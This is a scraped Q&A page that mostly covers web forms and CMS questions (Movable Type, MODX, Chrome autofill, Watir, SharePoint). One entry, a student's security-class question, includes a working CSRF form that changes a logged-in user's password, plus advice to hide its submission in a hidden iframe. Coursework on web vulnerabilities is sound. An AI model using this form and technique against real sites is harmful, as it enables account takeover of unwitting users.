How do I enable userpics in Movable Type - movabletype

On the user management admin page I can assign userpics to users, but I can't work out how to enable users to set them themselves.
The following code is in the Profile Edit Form template of my System Overview, but the userpic field doesn't appear on the form itself (all the other fields seem to be fine).
<mt:SetVarBlock name="field-content">
<mt:If name="userpic">
<div id="userpic-preview">
<$mt:Var name="userpic"$>
</div>
<input type="file" name="file" id="file" />
<mt:else>
<input type="file" name="file" id="file" />
</mt:If>
</mt:SetVarBlock>
<$mt:Include module="Form Field" id="file" class="" label="Userpic"$>
I'm a complete novice when it comes to Movable Type, having muddled my way through customising the default theme to get a layout I'm satisfied with, so it's quite possible that I'm missing something obvious.

Profile Edit Form is part of the community pack. it will only be used if you are creating a blog with community blog theme.

Related

How to create Quiz in modx

I am new to modx and I have to create multipage quiz in my website.
Any suggestion will be helpfull.
While there are more than one way to achieve this, a combination of FormIt
and FormItRetriever extras might just be what you need. FormIt handles the processing of your quiz forms, which includes saving the data in the cache or on the database as a JSON object. And, as the name suggests, FormItRetriever allows you to retrieve previously saved form data on a subsequent page.
Here's a quick example adapted from FormIt's docs:
Page 1
[[!FormIt?
&submitVar=`go`
&hooks=`spam,redirect`
&store=`1`
&redirectTo=`id-of-next-page`
]]
<form action="[[~[[*id]]]]" method="post">
<input type="hidden" name="nospam" value="" />
<label for="qzq1">Quiz question 1: [[!+fi.error.qzq1]]</label>
<input type="text" name="qzq1:required" id="qzq1" value="[[!+fi.qzq1]]" />
<label for="qzq2">Quiz question 2: [[!+fi.error.qzq2]]</label>
<input type="text" name="qzq2:required" id="qzq2" value="[[!+fi.qzq2]]" />
<label for="qzq3">Quiz question 3: [[!+fi.error.qzq3]]</label>
<textarea name="qzq3:stripTags" id="qzq3" cols="55" rows="7">[[!+fi.qzq3]]</textarea>
<br />
<input type="submit" name="go" value="Next" />
</form>
The &store property tells FormIt to store the data in the cache for retrieval using the FormItRetriever snippet.
The &redirectTo property is the ID of your next page. FormIt will use the redirect hook, specified in the &hooks property, to redirect the user when they submit this form.
Page 2:
[[!FormItRetriever]]
[[!FormIt?
&submitVar=`go`
&hooks=`spam,redirect`
&store=`1`
&redirectTo=`id-of-third-page`
]]
/* Page 2 quiz form goes here */
The FormItRetriever snippet will allow you to display your previously saved form data with placeholders relating to the names of your form fields => [!+fi.qzq1]]
To store the quiz form data on the database, you can use FormItSaveForm. This allows you to later view the data inside a Custom Manager Page (CMP) and export it, if need be.
Refer to the official docs for more usage examples: https://docs.modx.com/extras/revo/formit

Chrome Autofill not filling correct input

Bit confusing and could not find any related issues online. As can be seen in the screenshot, when using the Chrome Autofill it is filling up the wrong input, even though the input have different ids.
This is using knockout template but not sure if its related.
HTML code for Billing Address
<input data-bind="value: $data.editor.SearchHouseNumber, uniqueId: $data.editor.SearchHouseNumber, valueUpdate: ['blur', 'afterkeydown', 'onload'], css: $data.editor.labelClass" maxlength="100" name="customerSearchHouseNumber" placeholder="House no." size="24" type="text" value="" title="" id="fld2">
HTML code for Delivery Address
<input data-bind="value: $data.editor.SearchHouseNumber, uniqueId: $data.editor.SearchHouseNumber, valueUpdate: ['blur', 'afterkeydown', 'onload'], css: $data.editor.labelClass" maxlength="100" name="customerSearchHouseNumber" placeholder="House no." size="24" type="text" value="" title="" id="fld17">
As far as I can tell, Chrome actually implements the full autocomplete spec here, which means you should be able to specify which type of data Chrome should use to fill in the fields. Therefore, you can add the following attributes to your inputs:
autocomplete="billing street-address" and autocomplete="shipping street-address", and Chrome will likely be able to supply the correct values.
Note that street-address designation can take multiline values (as per spec), so you may prefer address-line1.
Example:
<input name="billing_address" id="fld2" autocomplete="billing street-address">

Locating a input of type email with SafariWatir

I just started using Watir to write some simple tests for my web application.
First thing I want to do is to populate an login form with an email input element of type "email" with SafariWatir on OS X.
This won't work:
browser.text_field(:id, "email").set('my#email.com')
Trace:
/Library/Ruby/Gems/1.8/gems/safariwatir-0.4.0/lib/safariwatir/scripter.rb:661:in `execute': Unable to locate TextField, using :id and "email" (Watir::Exception::UnknownObjectException)
from /Library/Ruby/Gems/1.8/gems/safariwatir-0.4.0/lib/safariwatir/scripter.rb:303:in `focus'
from /Library/Ruby/Gems/1.8/gems/safariwatir-0.4.0/lib/safariwatir.rb:525:in `set'
from test.rb:10
I assume that the element is not matched because of the different type attribute value. The documentation does not state any specification for this kind of elements. Any ideas?
Thanks!
Update: adding (reformatted) HTML sample based on user's comment that they are testing pinganalytics
<form action="http://pingalytics.com/" method="post" accept-charset="utf-8">
<p>
<label for="email">Email</label>
<input type="email" name="email" value="" id="email" autofocus="" />
</p>
<p>
<label for="password">Password</label>
<input type="password" name="password" value="" id="password" />
</p>
<input type="submit" name="login" value="Log in with Pingdom" class="primary" />
<p>
<a href="https://www.pingdom.com/signup/">
Sign up
</a>
, or
<a href="https://pp.pingdom.com/index.php/login" title="Reset your Pingdom password">
recover your password
</a>
.
</p>
</form>
the 'email' type for an input element is new as of HTML5. Safariwatir is an older project which pretty much predates HTML5. It has not seen a lot of recent work and it is highly unlikely it would be looking for this type when searching for potential 'text_field' elements.
Watir 3.0 or Watir-webdriver would be a safer bet as a lot of work has gone into those to bring them up to properly supporting HTML5.
Also since Webdriver has just recently added support for Safari (see here for instructions), it is now a viable alternative to safariwatir (which I highly expect will see no further work going forward.)
The Safari support is still a tiny bit DYI as you have to build your own safari extension and it only works on a Mac, but that may change if we see someone start publishing a standard safari extension that could be downloaded from an online gallery

How to construct a Cross Site Request Forgery attack?

I am taking a network security class, and one of our assignments is to find security bugs in open source projects.
This one project that I am working seems susceptible to a CSRF. I constructed the following attack, where I trick the user to click a link containing the following:
<form onsubmit="top." action="http://localhost/aphpkb/change_password.php" method="post">
<input type="hidden" value="hacked" name="password1" size="20" maxlength="20" />
<input type="hidden" value="hacked" name="password2" size="20" maxlength="20" />
<input type="submit" name="submit" value="Click here for a new Camry!!" />
</form>
This attack works and changes the password of the site when the user is currently logged into the site.. however, the result of the page gets rendered to the end user. I tried various methods to "quietly" POST the form (PHP based methods and JS based methods) with no avail.
Can anyone provide some guidance and perhaps point me in the right direction as to whether it's possible to silently POST to another website?
Set the form's target to a hidden <iframe>.

Add a form with POST method on a SharePoint 2010 page?

The HTML I got asked to add to a page is:
<div>
<div> Click below to enter</div>
<form id="formID" method=POST action="http://www.someWebsite.com">
<input type="submit" name="do_login" value="Log in" />
<input type="hidden" name="username" value="someUsername" />
<input type="hidden" name="password" value="somePassword" />
</form>
</div>
I know I can't add a form like that because there is already on that SharePoint created, I had a look at http://www.sharepointboris.net/2008/09/making-post-and-get-forms-from-sharepoints-pages/ but when I follow the example and save SharePoint still strips out most of the code so how can I achieve what I want in another way?
Thanks in advance.
For our SharePoint 2007 installation, I created a quiz web part. Basically, it pulls questions and answers from a list, but the actual questions are presented and submitted using a form with POST variables. It's probably much more complex and in-depth than you're looking to go, but I made a custom web part to present the form, read the post variables, and execute associated functions. The big plus to using a custom web part is that you're able to put in nearly any content you want, since you're coding it in ASP.NET.
What I did was to create a custom .aspx page (not through the sharepoint gui) with the code I posted in my question, uploaded the page to a library and then linked to it via a page viewer web part
You can get the form to work as normal if you remove the tags and place the form control inside a div like so:
<div>
<div> Click below to enter</div>
<div id="formID" method=POST action="http://www.someWebsite.com">
<input type="submit" name="do_login" value="Log in" />
<input type="hidden" name="username" value="someUsername" />
<input type="hidden" name="password" value="somePassword" />
</div>
</div>
This way sharepoint will accept everything inside the div tags. In a asp.net when you create a page in sharepoint, the whole page is containied withing a form that why sharepoint does not allow you to use another form within it.
Hope this helps

Resources